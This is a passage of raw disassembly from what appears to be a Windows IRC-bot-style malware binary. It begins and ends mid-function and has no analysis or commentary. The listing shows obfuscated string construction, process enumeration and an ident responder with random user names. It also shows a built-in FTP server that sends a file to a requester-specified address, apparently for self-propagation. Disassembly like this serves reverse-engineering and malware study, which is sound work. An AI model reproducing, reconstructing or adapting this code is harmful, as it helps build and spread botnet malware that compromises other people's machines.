esp, 30h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017EE push eax lea eax, [esi+32h] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 3 push 16h push 13h push 14h push 13h push 9 push 0Ch push 4Fh push 0Ch push 12h push 14h push 3 lea ecx, [esp+3Ch] push 10h push ecx call sub_4019C4 add esp, 3Ch mov dword ptr [esp+40h], 2 push esi mov ecx, eax call sub_4017EE lea edx, [esi+8Eh] push eax push edx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 3 push 16h push 13h push 0Ch push 0Ch push 9 push 0Bh push 4Fh push 0Ch push 12h push 14h push 3 lea eax, [esp+3Ch] push 10h push eax call sub_4019C4 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017EE lea ecx, [esi+0BCh] push eax push ecx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 4 push 9 push 10h push 0Ch push 0Ch push 9 push 0Bh push 4Fh push 0Ch push 12h push 14h push 3 lea edx, [esp+54h] push 10h push edx call sub_4019C4 add esp, 3Ch push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017EE add esi, 60h push eax push esi mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41E760 proc near ; CODE XREF: sub_40161Dj var_50 = dword ptr -50h var_4C = byte ptr -4Ch var_48 = byte ptr -48h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_41E760 push eax mov large fs:0, esp sub esp, 44h push ebx push ebp push esi mov esi, [esp+5Ch+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+4] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41E8FA lea eax, [esp+60h+arg_0] lea ecx, [esp+60h+var_48] push eax call sub_4018E8 ; --------------------------------------------------------------------------- lea ecx, [esp+60h+var_48] mov [esp+60h+var_4], 0 push ecx call sub_4011D6 add esp, 4 test al, al jz loc_41E8E2 push 0 push 7Bh push 25h push 9 push 25h push 25h push 9 push 5 push 1Dh push 23h push 1Fh lea edx, [esp+8Ch+var_3C] push 79h push edx call sub_4019C4 add esp, 34h mov edi, eax lea ebx, [esi+69h] mov byte ptr [esp+60h+var_4], 1 mov ecx, ebx call sub_4014DD push eax mov ecx, edi call sub_40168B mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+60h+var_3C] mov byte ptr [esp+60h+var_4], 0 call sub_401226 lea ecx, [esp+60h+var_50] call sub_40170D lea edx, [esp+60h+var_4C] lea ecx, [esp+60h+var_48] push edx xor edi, edi call sub_4014E2 mov eax, [eax] lea ecx, [esp+60h+var_4C] push ecx lea ecx, [esp+64h+var_48] mov [esp+64h+var_50], eax call sub_40197E push eax lea ecx, [esp+64h+var_50] call sub_401811 test al, al jz short loc_41E8E2 mov ebp, dword_5118D8 loc_41E86E: ; CODE XREF: sub_41E760+180j lea ecx, [esp+60h+var_50] inc edi call sub_40122B mov ecx, eax call sub_4017EE push eax lea ecx, [esp+64h+var_50] call sub_40122B mov edx, [eax+15h] mov ecx, ebx push edx push edi push offset aD_PidDS ; "%d. - Pid: %d - \"%s\"" call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D8075 call sub_401857 add esp, 20h push 5DCh call ebp lea ecx, [esp+60h+var_50] call sub_40107D lea edx, [esp+60h+var_4C] lea ecx, [esp+60h+var_48] push edx call sub_40197E push eax lea ecx, [esp+64h+var_50] call sub_401811 test al, al jnz short loc_41E86E loc_41E8E2: ; CODE XREF: sub_41E760+62j ; sub_41E760+106j lea ecx, [esp+60h+var_48] mov [esp+60h+var_4], 0FFFFFFFFh call sub_401825 ; --------------------------------------------------------------------------- mov al, 1 jmp loc_41ED17 ; --------------------------------------------------------------------------- loc_41E8FA: ; CODE XREF: sub_41E760+37j lea ecx, [edi+32h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41E9EE push offset asc_444600 ; " " lea eax, [esp+64h+var_3C] push 1 push eax mov ecx, esi call sub_4016B8 push offset byte_448F30 mov ecx, eax mov [esp+64h+var_4], 2 call sub_4012EE test eax, eax setz bl or edi, 0FFFFFFFFh lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 test bl, bl jnz loc_41ED15 push offset asc_444600 ; " " lea ecx, [esp+64h+var_3C] push 1 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+60h+var_4], 3 call sub_4017EE push eax call sub_401604 ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 push offset asc_444600 ; " " lea edx, [esp+64h+var_3C] push 1 push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+60h+var_4], 4 call sub_4014DD push eax push offset dword_444FFC lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D8075 call sub_401857 add esp, 18h lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 mov al, 1 jmp loc_41ED17 ; --------------------------------------------------------------------------- loc_41E9EE: ; CODE XREF: sub_41E760+1ACj lea ecx, [edi+8Eh] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41EB55 lea edx, [esp+60h+arg_0] lea ecx, [esp+60h+var_48] push edx call sub_4016EA ; --------------------------------------------------------------------------- lea eax, [esp+60h+var_48] mov ebx, 5 push eax mov [esp+64h+var_4], ebx call sub_402162 add esp, 4 test al, al jz loc_41EB3D push 0 push 3Eh push 13h push ebx push 3 push 9 push 16h push 12h push ebx push 13h lea ecx, [esp+88h+var_3C] push 3Dh push ecx call sub_4019C4 add esp, 30h mov edi, eax lea ebp, [esi+69h] mov byte ptr [esp+60h+var_4], 6 mov ecx, ebp call sub_4014DD push eax mov ecx, edi call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+60h+var_3C] mov byte ptr [esp+60h+var_4], bl call sub_401226 lea ecx, [esp+60h+var_50] call sub_401B54 lea ecx, [esp+60h+var_4C] xor edi, edi push ecx lea ecx, [esp+64h+var_48] call sub_401465 mov edx, [eax] lea eax, [esp+60h+var_4C] push eax lea ecx, [esp+64h+var_48] mov [esp+64h+var_50], edx call sub_4013F7 push eax lea ecx, [esp+64h+var_50] call sub_4012BC test al, al jz short loc_41EB3D mov ebx, dword_5118D8 loc_41EAD6: ; CODE XREF: sub_41E760+3DBj lea ecx, [esp+60h+var_50] inc edi call sub_401055 mov ecx, eax call sub_4017EE push eax push edi push offset dword_444FF0 mov ecx, ebp call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 1Ch push 5DCh call ebx lea ecx, [esp+60h+var_50] call sub_401839 lea eax, [esp+60h+var_4C] lea ecx, [esp+60h+var_48] push eax call sub_4013F7 push eax lea ecx, [esp+64h+var_50] call sub_4012BC test al, al jnz short loc_41EAD6 loc_41EB3D: ; CODE XREF: sub_41E760+2CFj ; sub_41E760+36Ej lea ecx, [esp+60h+var_48] mov [esp+60h+var_4], 0FFFFFFFFh call sub_401253 ; --------------------------------------------------------------------------- mov al, 1 jmp loc_41ED17 ; --------------------------------------------------------------------------- loc_41EB55: ; CODE XREF: sub_41E760+2A3j lea ecx, [edi+0BCh] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41EC4C push offset asc_444600 ; " " lea ecx, [esp+64h+var_3C] push 1 push ecx mov ecx, esi call sub_4016B8 push offset byte_448F30 mov ecx, eax mov [esp+64h+var_4], 7 call sub_4012EE test eax, eax setz bl or edi, 0FFFFFFFFh lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 test bl, bl jnz loc_41ED15 push offset asc_444600 ; " " lea edx, [esp+64h+var_3C] push 1 push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+60h+var_4], 8 call sub_4017EE push eax call sub_401A0A add esp, 4 lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 push offset asc_444600 ; " " lea eax, [esp+64h+var_3C] push 1 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+60h+var_4], 9 call sub_4014DD push eax push offset dword_444FE8 lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 18h lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 mov al, 1 jmp loc_41ED17 ; --------------------------------------------------------------------------- loc_41EC4C: ; CODE XREF: sub_41E760+40Aj lea ecx, [edi+60h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41ED15 push offset asc_444600 ; " " lea eax, [esp+64h+var_3C] push 1 push eax mov ecx, esi call sub_4016B8 push offset byte_448F30 mov ecx, eax mov [esp+64h+var_4], 0Ah call sub_4012EE test eax, eax setz bl or edi, 0FFFFFFFFh lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 test bl, bl jnz short loc_41ED15 push offset asc_444600 ; " " lea ecx, [esp+64h+var_24] push 1 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+60h+var_4], 0Bh call sub_4017EE push eax call near ptr 77C1BF18h nop add esp, 4 lea ecx, [esp+60h+var_24] mov ebx, eax mov [esp+60h+var_4], edi call sub_401226 test ebx, ebx jz short loc_41ED15 push ebx push offset dword_444FDC lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8075 call sub_401857 push ebx call sub_4018B6 add esp, 1Ch jmp short loc_41ED17 ; --------------------------------------------------------------------------- loc_41ED15: ; CODE XREF: sub_41E760+1F0j ; sub_41E760+44Ej ... xor al, al loc_41ED17: ; CODE XREF: sub_41E760+195j ; sub_41E760+289j ... mov ecx, [esp+60h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 50h retn 4 sub_41E760 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 180h dup(0CCh) ; --------------------------------------------------------------------------- loc_41EEB0: ; CODE XREF: ___:loc_402004j push ebp mov ebp, esp push 0FFFFFFFFh push (offset asc_43C4EA+26h) mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi push edi mov edi, dword_5118D8 mov [ebp-10h], esp mov esi, ecx mov dword ptr [ebp-4], 0 loc_41EEE0: ; CODE XREF: ___:0041EEF1j mov al, [esi+0ABh] test al, al jnz short loc_41EEF3 push 3E8h call edi jmp short loc_41EEE0 ; --------------------------------------------------------------------------- loc_41EEF3: ; CODE XREF: ___:0041EEE8j mov al, [esi+0ACh] lea ecx, [esi+15h] push eax push ecx mov ecx, offset byte_449277 call sub_401A41 lea edx, [ebp-14h] mov ecx, offset byte_4E8E9B push edx mov [ebp-14h], esi call sub_40120D ; --------------------------------------------------------------------------- loc_41EF19: ; DATA XREF: ___:loc_41EF2Co mov ecx, [ebp-0Ch] pop edi pop esi xor eax, eax mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_41EF2C: ; DATA XREF: ___:00442554o mov eax, offset loc_41EF19 retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41EF70 proc near ; CODE XREF: sub_401DFCj arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, [esp+arg_0] push esi mov esi, ecx mov [esi+11h], eax mov cl, [eax+94h] mov [esi+0A9h], cl mov dl, [eax+93h] mov [esi+0A8h], dl mov cl, [eax+95h] add eax, 15h mov [esi+0AAh], cl push eax lea ecx, [esi+2Ah] call sub_401FDC mov edx, [esi+11h] lea ecx, [esi+69h] add edx, 54h push edx call sub_401FDC mov eax, [esi+11h] lea ecx, [esi+54h] add eax, 3Fh push eax call sub_401FDC mov ecx, [esi+11h] add ecx, 2Ah push ecx lea ecx, [esi+3Fh] call sub_401FDC mov edx, [esi+11h] lea ecx, [esi+15h] push edx call sub_401FDC mov al, [esp+4+arg_4] mov byte ptr [esi+0ABh], 1 mov [esi+0ACh], al pop esi retn 8 sub_41EF70 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41F030 proc near ; CODE XREF: sub_4020C7j var_DC = dword ptr -0DCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_94 = byte ptr -94h var_88 = dword ptr -88h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_68 = dword ptr -68h var_64 = byte ptr -64h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = byte ptr -54h var_44 = byte ptr -44h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = byte ptr -0Ch var_8 = dword ptr -8 arg_0 = byte ptr 4 arg_8 = byte ptr 0Ch arg_14 = dword ptr 18h arg_18 = byte ptr 1Ch arg_20 = byte ptr 24h arg_38 = byte ptr 3Ch arg_50 = byte ptr 54h arg_68 = byte ptr 6Ch arg_80 = byte ptr 84h arg_88 = byte ptr 8Ch arg_A8 = byte ptr 0ACh arg_E4 = byte ptr 0E8h arg_F0 = byte ptr 0F4h arg_118 = byte ptr 11Ch arg_128 = byte ptr 12Ch arg_138 = byte ptr 13Ch arg_148 = byte ptr 14Ch arg_158 = byte ptr 15Ch arg_908 = byte ptr 90Ch arg_18C8 = dword ptr 18CCh arg_18D8 = dword ptr 18DCh arg_1930 = byte ptr 1934h arg_1970 = dword ptr 1974h mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_41F030 push eax mov eax, 19B4h mov large fs:0, esp call sub_437B30 push esi push edi mov edi, ecx xor eax, eax mov [esp+14h+var_8], edi mov [esp+14h+arg_14], 10h lea esi, [edi+19h] mov ecx, esi mov [ecx], eax mov [ecx+4], eax mov [ecx+8], eax mov [ecx+0Ch], eax mov word ptr [esi], 2 mov [edi+1Dh], eax mov dx, word ptr dword_44964F push edx call near ptr 71AB2B66h nop push 6 push 1 push 2 mov [edi+1Bh], ax nop call near ptr 71AB3B91h cmp eax, 0FFFFFFFFh mov [edi+15h], eax jnz short loc_41F0B7 lea eax, [esp+24h+var_18] mov ecx, offset byte_4E8E9B push eax mov [esp+28h+var_18], edi call sub_40120D ; --------------------------------------------------------------------------- jmp loc_41F75A ; --------------------------------------------------------------------------- loc_41F0B7: ; CODE XREF: sub_41F030+6Dj push 10h push esi push eax nop call near ptr 71AB3E00h test eax, eax jz short loc_41F0E7 mov ecx, [edi+15h] push ecx nop call near ptr 71AB9639h lea edx, [esp+34h+var_28] mov ecx, offset byte_4E8E9B push edx mov [esp+38h+var_28], edi call sub_40120D ; --------------------------------------------------------------------------- jmp loc_41F75A ; --------------------------------------------------------------------------- loc_41F0E7: ; CODE XREF: sub_41F030+93j mov al, byte_4E8E44 test al, al jz loc_41F750 push ebx mov ebx, dword_511B14 push ebp mov ebp, dword_511CA0 loc_41F102: ; CODE XREF: sub_41F030+718j mov eax, [edi+15h] push 0Ah push eax nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jnz short loc_41F11D push 0FAh jmp loc_41F73B ; --------------------------------------------------------------------------- loc_41F11D: ; CODE XREF: sub_41F030+E1j mov eax, [edi+15h] lea ecx, [esp+40h+var_C] lea edx, [esp+40h+arg_F0] push ecx push edx push eax nop call near ptr 71AC1028h mov esi, eax cmp esi, 0FFFFFFFFh jz loc_41F736 xor ecx, ecx lea edx, [esp+4Ch+var_14] mov [esp+4Ch+var_2C], ecx lea eax, [esp+4Ch+var_2C] mov [esp+4Ch+var_28], ecx push edx mov [esp+50h+var_24], ecx push eax push esi mov [esp+58h+var_14], 10h mov [esp+58h+var_20], ecx nop call near ptr 71AC0B50h mov eax, [esp+58h+var_34] test al, al jz loc_41F741 mov cl, byte_449DB8 test cl, cl jz short loc_41F1CF mov edx, [esp+58h+var_34+3] mov ecx, dword_44964F and edx, 0FFh push ecx mov ecx, [esp+5Ch+var_34+2] push edx mov edx, [esp+60h+var_34+1] and ecx, 0FFh and edx, 0FFh push ecx and eax, 0FFh push edx push eax push offset aFtpD_D_D_DOnD ; "ftp: %d.%d.%d.%d on %d" mov ecx, offset dword_449958 call sub_4014DD push eax push 0 push 0 push offset byte_4D8075 call sub_401857 add esp, 28h loc_41F1CF: ; CODE XREF: sub_41F030+14Ej lea ecx, [esp+58h+arg_0] call sub_40142E push 1000h push 1000h lea ecx, [esp+60h+arg_0] mov [esp+60h+arg_1970], 0 call sub_401C71 push eax call sub_4015F5 add esp, 8 lea eax, [esp+58h+arg_0] lea ecx, [esp+58h+arg_18] push eax call sub_4014D3 lea ecx, [esp+58h+arg_0] mov byte ptr [esp+58h+arg_1970], 1 push ecx lea ecx, [esp+5Ch+arg_18] call sub_401FDC mov edi, offset a220 ; "220 \r\n" or ecx, 0FFFFFFFFh xor eax, eax push 0 repne scasb not ecx dec ecx push ecx push offset a220 ; "220 \r\n" push esi call ebp ; send push 0 lea edx, [esp+6Ch+arg_158] push 800h push edx push esi call sub_401280 mov edi, offset a331 ; "331 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a331 ; "331 \r\n" push esi call ebp ; send push 0 lea eax, [esp+7Ch+arg_148] push 800h push eax push esi call sub_401280 mov edi, offset a230 ; "230 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a230 ; "230 \r\n" push esi call ebp ; send push 0 lea ecx, [esp+8Ch+arg_138] push 800h push ecx push esi call sub_401280 mov edi, offset a200 ; "200 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb push 0 not ecx dec ecx push ecx push offset a200 ; "200 \r\n" push esi call ebp ; send push 0 lea edx, [esp+9Ch+arg_128] push 800h push edx push esi call sub_401280 add esp, 10h lea eax, [esp+98h+arg_128] lea ecx, [esp+98h+var_C] push eax call sub_401870 push offset asc_444600 ; " " lea ecx, [esp+9Ch+var_54] push 1 push ecx lea ecx, [esp+0A4h+var_C] mov [esp+0A4h+arg_1930], 2 call sub_4016B8 push offset asc_445078 ; "," lea edx, [esp+9Ch+arg_38] push 0 push edx lea ecx, [esp+0A4h+var_54] mov [esp+0A4h+arg_1930], 3 call sub_4016B8 mov ecx, eax mov [esp+98h+arg_1930], 4 call sub_4017EE push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_38] mov edi, eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_445078 ; "," lea eax, [esp+9Ch+arg_80] push 1 push eax lea ecx, [esp+0A4h+var_54] call sub_4016B8 mov ecx, eax mov [esp+98h+arg_1930], 5 call sub_4017EE push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_80] mov [esp+98h+var_7C], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_445078 ; "," lea ecx, [esp+9Ch+arg_8] push 2 push ecx lea ecx, [esp+0A4h+var_54] call sub_4016B8 mov ecx, eax mov [esp+98h+arg_1930], 6 call sub_4017EE push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_8] mov [esp+98h+var_5C], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_445078 ; "," lea edx, [esp+9Ch+arg_68] push 3 push edx lea ecx, [esp+0A4h+var_54] call sub_4016B8 mov ecx, eax mov [esp+98h+arg_1930], 7 call sub_4017EE push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_68] mov [esp+98h+var_58], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_445078 ; "," lea eax, [esp+9Ch+arg_20] push 4 push eax lea ecx, [esp+0A4h+var_54] call sub_4016B8 mov ecx, eax mov [esp+98h+arg_1930], 8 call sub_4017EE push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_20] mov [esp+98h+var_88], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_445078 ; "," lea ecx, [esp+9Ch+arg_50] push 5 push ecx lea ecx, [esp+0A4h+var_54] call sub_4016B8 mov ecx, eax mov [esp+98h+arg_1930], 9 call sub_4017EE push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_50] mov [esp+98h+var_80], eax mov [esp+98h+arg_1930], 3 call sub_401226 mov dl, byte ptr [esp+98h+var_88] mov al, byte ptr [esp+98h+var_80] mov ecx, [esp+98h+var_58] mov byte ptr [esp+98h+var_68+1], dl mov edx, [esp+98h+var_5C] mov byte ptr [esp+98h+var_68], al mov eax, [esp+98h+var_68] push ecx and eax, 0FFFFh push edx mov [esp+0A0h+var_88], eax mov eax, [esp+0A0h+var_7C] push eax push edi lea ecx, [esp+0A8h+arg_A8] push offset aD_D_D_D ; "%d.%d.%d.%d" push ecx nop call sub_5F76F7 mov edi, offset a200 ; "200 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 18h repne scasb not ecx dec ecx push 0 push ecx push offset a200 ; "200 \r\n" push esi call ebp ; send push 0 lea edx, [esp+0ACh+arg_118] push 800h push edx push esi call sub_401280 mov edi, offset a150 ; "150 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a150 ; "150 \r\n" push esi call ebp ; send mov eax, [esp+0B8h+var_A8] lea ecx, [esp+0B8h+arg_88] push eax push ecx call sub_401AA0 add esp, 8 lea ecx, [esp+0B8h+var_44] mov [esp+0B8h+var_A8], eax push offset aRb ; "rb" call sub_4017EE push eax nop call near ptr 77C3F010h mov edi, eax add esp, 8 test edi, edi mov [esp+0B8h+var_A0], edi jz loc_41F695 cmp [esp+0B8h+var_A8], 0FFFFFFFFh jz loc_41F695 push 2 push 0 push edi nop call near ptr 77C4139Ch push edi call near ptr 77C41574h nop push 0 push 0 push edi mov [esp+0D4h+var_9C], eax nop call near ptr 77C4139Ch add esp, 1Ch loc_41F5C0: ; CODE XREF: sub_41F030+5E1j mov edx, [esp+0B8h+var_A0] mov ecx, 400h xor eax, eax lea edi, [esp+0B8h+arg_908] rep stosd push edx push 1000h lea eax, [esp+0C0h+arg_908] push 1 push eax call near ptr 77C411FBh nop mov ecx, [esp+0C8h+var_A0] mov edi, eax add esp, 10h test byte ptr [ecx+0Ch], 20h jnz short loc_41F613 mov eax, [esp+0B8h+var_A8] push 0 lea edx, [esp+0BCh+arg_908] push edi push edx push eax call ebp ; send cmp edi, 1000h jz short loc_41F5C0 loc_41F613: ; CODE XREF: sub_41F030+5C7j mov eax, [esp+0C8h+var_B4] mov edx, [eax+11h] inc edx mov [eax+11h], edx mov cl, byte_449DB8 test cl, cl mov eax, edx jz short loc_41F67C mov edx, [esp+0C8h+var_A4+3] mov ecx, [esp+0C8h+var_AC] push eax mov eax, [esp+0CCh+var_A4+2] and edx, 0FFh push ecx mov ecx, [esp+0D0h+var_A4+1] push edx mov edx, [esp+0D4h+var_A4] and eax, 0FFh and ecx, 0FFh push eax and edx, 0FFh push ecx push edx push offset aFtpD_D_D_DDByt ; "ftp: %d.%d.%d.%d -> (%d bytes) (total s"... mov ecx, offset dword_449958 call sub_4014DD push eax push 0 push 0 push offset byte_4D8075 call sub_401857 add esp, 2Ch loc_41F67C: ; CODE XREF: sub_41F030+5F8j mov eax, [esp+0C8h+var_B0] push eax nop call near ptr 77C40AB1h mov ecx, [esp+0CCh+var_B8] add esp, 4 push ecx call near ptr 71AB9639h nop loc_41F695: ; CODE XREF: sub_41F030+55Bj ; sub_41F030+566j mov edi, offset a226 ; "226 \r\n" or ecx, 0FFFFFFFFh xor eax, eax push 0 repne scasb not ecx dec ecx push ecx push offset a226 ; "226 \r\n" push esi call ebp ; send push 0 lea edx, [esp+0E0h+arg_E4] push 800h push edx push esi call sub_401280 mov edi, offset a221 ; "221 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a221 ; "221 \r\n" push esi call ebp ; send push esi nop call near ptr 71AB9639h lea ecx, [esp+0F0h+var_AC] mov byte ptr [esp+0F0h+arg_18D8], 2 call sub_401226 lea ecx, [esp+0F0h+var_64] mov byte ptr [esp+0F0h+arg_18D8], 1 call sub_401226 lea ecx, [esp+0F0h+var_7C] mov byte ptr [esp+0F0h+arg_18D8], 0 call sub_401226 lea ecx, [esp+0F0h+var_94] mov [esp+0F0h+arg_18D8], 0FFFFFFFFh call sub_401226 mov edi, [esp+0F0h+var_DC] loc_41F736: ; CODE XREF: sub_41F030+109j push 9C4h loc_41F73B: ; CODE XREF: sub_41F030+E8j nop call near ptr 2821DE2h loc_41F741: ; CODE XREF: sub_41F030+140j mov al, byte_4E8E44 test al, al jnz loc_41F102 pop ebp pop ebx loc_41F750: ; CODE XREF: sub_41F030+BEj mov eax, [edi+15h] push eax nop call near ptr 71AB9639h loc_41F75A: ; CODE XREF: sub_41F030+82j ; sub_41F030+B2j mov ecx, [esp+0F0h+arg_18C8] pop edi xor eax, eax pop esi mov large fs:0, ecx add esp, 19C0h retn sub_41F030 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 1E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41F960 proc near ; CODE XREF: sub_401230j var_90 = dword ptr -90h var_8C = byte ptr -8Ch var_7C = byte ptr -7Ch var_78 = byte ptr -78h var_60 = byte ptr -60h var_48 = byte ptr -48h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41F960 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 84h push ebx push ebp push esi push 71h call sub_40198D add esp, 4 cmp eax, 0FFFFFFFFh mov [esp+9Ch+var_90], eax jnz short loc_41F99D mov byte_4E8E99, 0 jmp loc_41FB01 ; --------------------------------------------------------------------------- loc_41F99D: ; CODE XREF: sub_41F960+2Fj mov cl, byte_44927B xor ebx, ebx cmp cl, bl mov byte_4E8E99, 1 jnz loc_41FAF4 lea ecx, [esp+9Ch+var_8C] push ecx push eax call sub_402009 mov ebp, eax add esp, 8 cmp ebp, 0FFFFFFFFh jz loc_41FAE7 push edi lea ecx, [esp+0A0h+var_7C] call sub_40142E mov [esp+0A0h+var_4], ebx call sub_401F0A mov esi, dword_511AC8 call esi ; rand cdq mov ecx, 3 push offset byte_448F30 idiv ecx lea ecx, [esp+0A0h+var_78] mov edi, edx add edi, 0Ah call sub_4015E1 cmp edi, ebx jle short loc_41FA66 loc_41FA0A: ; CODE XREF: sub_41F960+104j lea ecx, [esp+9Ch+var_60] call sub_40142E lea edx, [esp+9Ch+var_78] lea ecx, [esp+9Ch+var_60] push edx mov byte ptr [esp+0A0h], 1 call sub_401FDC call esi ; rand cdq mov ecx, 1Ah idiv ecx lea ecx, [esp+9Ch+var_60] add edx, 61h push edx call sub_4017EE push eax lea edx, [esp+0A4h+var_78] push offset dword_444E54 push edx call sub_40102D add esp, 10h lea ecx, [esp+9Ch+var_60] mov [esp+9Ch], bl call sub_401226 dec edi jnz short loc_41FA0A loc_41FA66: ; CODE XREF: sub_41F960+A8j push 0Ah lea ecx, [esp+0A0h+var_78] call sub_401479 mov [eax], bl mov ecx, 10h xor eax, eax lea edi, [esp+9Ch+var_48] rep stosd lea ecx, [esp+9Ch+var_78] call sub_4017EE push eax push 71h call esi ; rand cdq mov ecx, 1770h idiv ecx inc edx push edx lea edx, [esp+0A8h+var_48] push offset aDDUseridUnixS ; "%d, %d : USERID : UNIX : %s\r\n" push edx nop call sub_5F76F7 add esp, 14h lea eax, [esp+9Ch+var_48] push ebx push 40h push eax push ebp nop call near ptr 71AB428Ah mov esi, dword_511C9C push ebp call esi ; closesocket lea ecx, [esp+0A0h+var_7C] mov [esp+0A0h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0A0h+var_90] push ecx call esi ; closesocket mov byte_4E8E99, bl pop edi jmp short loc_41FAFE ; --------------------------------------------------------------------------- loc_41FAE7: ; CODE XREF: sub_41F960+67j push 7D0h nop call near ptr 2821DE2h jmp short loc_41FB01 ; --------------------------------------------------------------------------- loc_41FAF4: ; CODE XREF: sub_41F960+4Ej mov ebp, [esp+9Ch+var_90] mov esi, dword_511C9C loc_41FAFE: ; CODE XREF: sub_41F960+185j push ebp call esi ; closesocket loc_41FB01: ; CODE XREF: sub_41F960+38j ; sub_41F960+192j mov ecx, [esp+9Ch+var_C] pop esi pop ebp xor eax, eax pop ebx mov large fs:0, ecx add esp, 90h retn sub_41F960 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 70h 